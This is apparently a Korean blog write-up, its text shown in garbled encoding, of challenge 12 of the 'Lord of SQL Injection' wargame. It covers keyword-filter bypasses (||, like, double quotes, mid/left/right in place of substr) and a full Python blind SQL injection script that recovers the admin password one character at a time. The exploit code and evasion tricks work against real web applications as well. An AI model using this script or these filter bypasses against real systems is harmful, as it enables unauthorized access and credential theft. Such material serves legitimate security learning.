์ƒˆ์†Œ์‹

Game/los

Lord of sql injection [12]

  • -
๋ฐ˜์‘ํ˜•

 

[๋ฌธ์ œ 12]

 

์ด๋ฒˆ ๋ฌธ์ œ๋Š” substr(), ascii(), ' (์‹ฑ๊ธ€์ฟผํ„ฐ) ..๋“ฑ ๋งŽ์ด ๋ง‰์•„๋†จ๋„ค์š”.

์ผ๋‹จ pw๋ฅผ ์ผ์น˜ ์‹œ์ผœ์•ผ ํ’€๋ฆฌ๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

 

์ „์— ๋ฌธ์ œ๋“ค๊ณผ ๋‹ค๋ฅด๊ฒŒ ์‹ฑ๊ธ€์ฟผํ„ฐ, substr์„ ๋ง‰์•„๋†“์œผ๋‹ˆ ์กฐ๊ธˆ ๋ณต์žกํ•ด์กŒ๋„ค์š”.

์ผ๋‹จ ' ๋ฅผ ์–ด๋–ป๊ฒŒ ๋ง‰์•„์•ผ ํ• ์ง€ ๊ณ ๋ฏผํ•ด๋ด…๋‹ˆ๋‹ค.

 

id์™€ pw๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์€ ์ด๋ฏธ  ์‹ฑ๊ธ€์ฟผํ…Œ์ด์…˜์œผ๋กœ ๋‘˜๋Ÿฌ์Œ“์—ฌ ์žˆ์–ด์„œ 

๋ฌธ์ž์—ด์„ ์ข…๋ฃŒ ์‹œํ‚ค๊ณ  ๋’ค์— ์ฟผ๋ฆฌ๋ฌธ์„ ์ด์–ด์ค˜์•ผ ํ•˜๋Š”๋ฐ, ๊ทธ๋Ÿฌ๋ ค๋ฉด ์–ด์ฉ” ์ˆ˜ ์—†์ด ์‹ฑ๊ธ€์ฟผํ…Œ์ด์…˜์ด ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค.

 

๊ทธ๋ ‡๋‹ค๋ฉด no๋ณ€์ˆ˜๋Š” ์–ด๋–จ๊นŒ์š”?

 

no๋Š” ' ' ๋กœ ๋ฐ›์ง€์•Š๋Š” ์œ ์ผํ•œ ๋ณ€์ˆ˜ ์ž…๋‹ˆ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด ์ด ๋ณ€์ˆ˜์— ๊ฐ’์„ ๋„ฃ์–ด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

 

** ์•„ ์ฐธ๊ณ ๋กœ ํ•ด๋‹น ์‚ฌ์ดํŠธ ํ™”๋ฉด์€ and๋ฅผ &&๋กœ ํ•ด๋„ ๋จนํžˆ๊ณ ,

๋น„ํŠธ์—ฐ์‚ฐ์ž(&)๋กœ ํ•ด๋„ ์‹คํ–‰์ด ๋˜๋”๋ผ๊ตฌ์š”..(์™œ์ด๋Ÿฐ์ง€ ์•„์‹œ๋Š”๋ถ„) **

 

 

or ๋Š” || ๋กœ ์šฐํšŒํ•˜๊ณ , = ์€ like๋กœ ์šฐํšŒ๋ฅผ ํ•˜๊ณ , ์‹ฑ๊ธ€์ฟผํ„ฐ๋Š” ""๋กœ ์šฐํšŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 

 

 

 

๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ ํ•ด๋ณด์ž๋ฉด ascii์ฝ”๋“œ๋กœ ๋„ฃ๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๊ฒ ๋„ค์š”.

ex) beebox์—์„œ ์‚ฌ์šฉํ–ˆ๋˜ ๊ฒƒ ์ฒ˜๋Ÿผ,

substring(pw,1,1)='a' ์ด๋Ÿฐ๋ฐฉ๋ฒ•์ด ์•„๋‹Œ

ascii(substring(pw,1,1)) = 98# ์ด๋Ÿฐ ๋ฐฉ๋ฒ•์œผ๋กœ ์šฐํšŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

++ 

substring(pw,1,1) = char(98)# ์ด๋ ‡๊ฒŒ๋„ ์šฐํšŒ๊ฐ€๋Šฅํ•จ.

 

์ผ๋‹จ ์ €๋Š” ์งœ๋†“์•˜๋˜ python์ฝ”๋“œ๊ฐ€ ์žˆ๊ธฐ์— ์‹ฑ๊ธ€์ฟผํ„ฐ๋ฅผ ๋”๋ธ”์ฟผํ„ฐ๋กœ๋งŒ ๋ฐ”๊ฟ”์ค„๊ฒŒ์š”!

 

๋งˆ์ง€๋ง‰์œผ๋กœ substring ํ•จ์ˆ˜๋งŒ ์šฐํšŒ๋ฅผ ํ•˜๋ฉด ๋˜๋Š”๋ฐ, ์ €๋ฒˆ์—๋Š” ๋ฌธ์ž์—ด ์ž์ฒด (substr)์„ ๋ง‰์•„๋†“์•„์„œ substring์ด๋ผ๋Š”

ํ’€๋„ค์ž„์œผ๋กœ ์šฐํšŒํ•˜์˜€์ง€๋งŒ ์ด๋ฒˆ์—” ํ•จ์ˆ˜์ž์ฒด๊ฐ€ ์•ˆ๋จนํžˆ๋„ค์š”.  ๊ทธ๋ ‡๋‹ค๋ฉด substring๋Œ€์‹  ์“ธ ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜๋ฅผ ์ฐพ์•„๋ด…์‹œ๋‹ค.

 

 

# ํ‚ค์›Œ๋“œ ์šฐํšŒ

substr('abc',1,1) == right(left('abc',1),1)

substr('abc',2,1) == right(left('abc',2),1)


๊ฒ€์ƒ‰ํ•ด๋ณด๋‹ˆ ์ด๋ ‡๊ฒŒ ์šฐํšŒ ํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•˜๋„ค์š”.

 

https://iwantadmin.tistory.com/7

์ด๋ ‡๊ฒŒ ์šฐํšŒ ๊ธฐ๋ฒ•๋“ค์„ ์ฐพ์•„๋ณด๋‹ˆ ์ •๋ง ๋‹ค์–‘ํ•˜๋„ค์š”!

 

substr์—ญํ• ์„ ํ•ด์ฃผ๋Š” ํ•จ์ˆ˜๋Š” mid๋„ ์žˆ๊ณ , ์„ž์–ด์„œ๋„ ์–ผ๋งˆ๋“ ์ง€ ์‚ฌ์šฉ์ด ๊ฐ€๋Šฅํ•˜๋”๋ผ๊ณ ์š”!

 

 

extbrain.tistory.com/62

 

[MySQL] ๋ฌธ์ž์—ด ๋ถ€๋ถ„ ๊ฐ€์ ธ์˜ค๊ธฐ (LEFT, MID, RIGHT ํ•จ์ˆ˜)

โ–ถMySQL ๋ฌธ์ž์—ด ๋ถ€๋ถ„ ๊ฐ€์ ธ์˜ค๊ธฐ (LEFT, MID, RIGHT ํ•จ์ˆ˜) โ–ถ์„ค๋ช… MySQL์—์„œ ๋ฌธ์ž์—ด์— ์ผ๋ถ€๋ถ„์„ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜๋Š” ๋Œ€ํ‘œ์ ์œผ๋กœ 3๊ฐ€์ง€๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. LEFT : ๋ฌธ์ž์— ์™ผ์ชฝ์„ ๊ธฐ์ค€์œผ๋กœ ์ผ์ • ๊ฐฏ์ˆ˜๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜

extbrain.tistory.com

 

์œ„ ๋ธ”๋กœ๊ทธ๋ฅผ ์ฐธ๊ณ  ํ•˜์…”์„œ, left, mid, right ํ•จ์ˆ˜์˜ ์‚ฌ์šฉ๋ฒ•์„ ์ตํžŒ ํ›„ ์šฐํšŒํ•ด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

length ์ฆ‰ ๊ธธ์ด = 8

 

์•ˆ์— data๋ฅผ ๋ฝ‘์•„๋‚ด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ ์ฝ”๋“œ์—์„œ ๋ช‡๊ฐ€์ง€๋งŒ ๊ณ ์ณ์„œ ์‹คํ–‰์‹œ์ผœ์ฃผ๋ฉด ๋ฉ๋‹ˆ๋‹น.

 

import requests
from bs4 import BeautifulSoup

query1 = "1 ||id like \"admin\" && mid(pw,%d,1) like %s #"
dbname = []
password = []

word = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '\"a\"', '\"b\"', '\"c\"', '\"d\"', '\"e\"', '\"f\"', '\"g\"',
        '\"h\"', '\"i\"', '\"j\"', '\"k\"', '\"l\"', '\"m\"', '\"n\"', '\"o\"', '\"p\"', '\"q\"', '\"r\"', '\"s\"',
        '\"t\"', '\"u\"', '\"v\"', '\"w\"', '\"x\"', '\"y\"', '\"z\"']
#print("์ƒํƒœ ์ฝ”๋“œ : ",res.status_code)

print("========= Blind SQL injection ===========")
# 1. ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” DB ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ.

print("######################data ๋ถ„์„ ์ค‘")

num = 1
while num <= 8:

    for src in word:
        dbname = [query1 % (num, src)]

        cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
        params = {'id': "admin", 'pw': "0 &&", 'no': dbname}
        res = requests.get('https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php', params=params, cookies=cookies)
        code = res.text  # ์ „์ฒด ์ฝ”๋“œ
        search = "Hello admin"  # ์ฐธ์ผ์‹œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ ๊ฐ’

        if search in code: #์ฝ”๋“œ์•ˆ์— ์ฐธ์ผ ์‹œ ๋‚˜์˜ค๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋ฉด
            print("Data : ", src)
            password += src
         #   print(dbname)
            break


    num = num+1

print("###########################์™„๋ฃŒ")
print('pwd : ', '_'.join(password))

 

ใ…‹ใ…‹ใ…‹๊ฐ€๋…์„ฑ ์ข€ ๋–จ์–ด์ ธ๋„ ๋งŒ๋Šฅ ์ฝ”๋“œ๋„ค์š”^_^

 

data๋ฅผ pw์— ๋„ฃ์–ด์ฃผ๋ฉด

 

 

Clear

์ฐธ๊ณ ๋กœ ์–˜๋Š” ์ฃผ์„์œผ๋กœ ๋’ค์— ์ง€์›Œ์ฃผ๋ฉด ์•ˆ๋ฉ๋‹ˆ๋‹ค.

๋ฐ˜์‘ํ˜•

'Game > los' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Lord of sql injection [14]  (0) 2020.09.12
Lord of sql injection [13]  (0) 2020.09.12
Lord of sql injection [11]  (0) 2020.09.11
Lord of sql injection [10]  (0) 2020.09.11
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.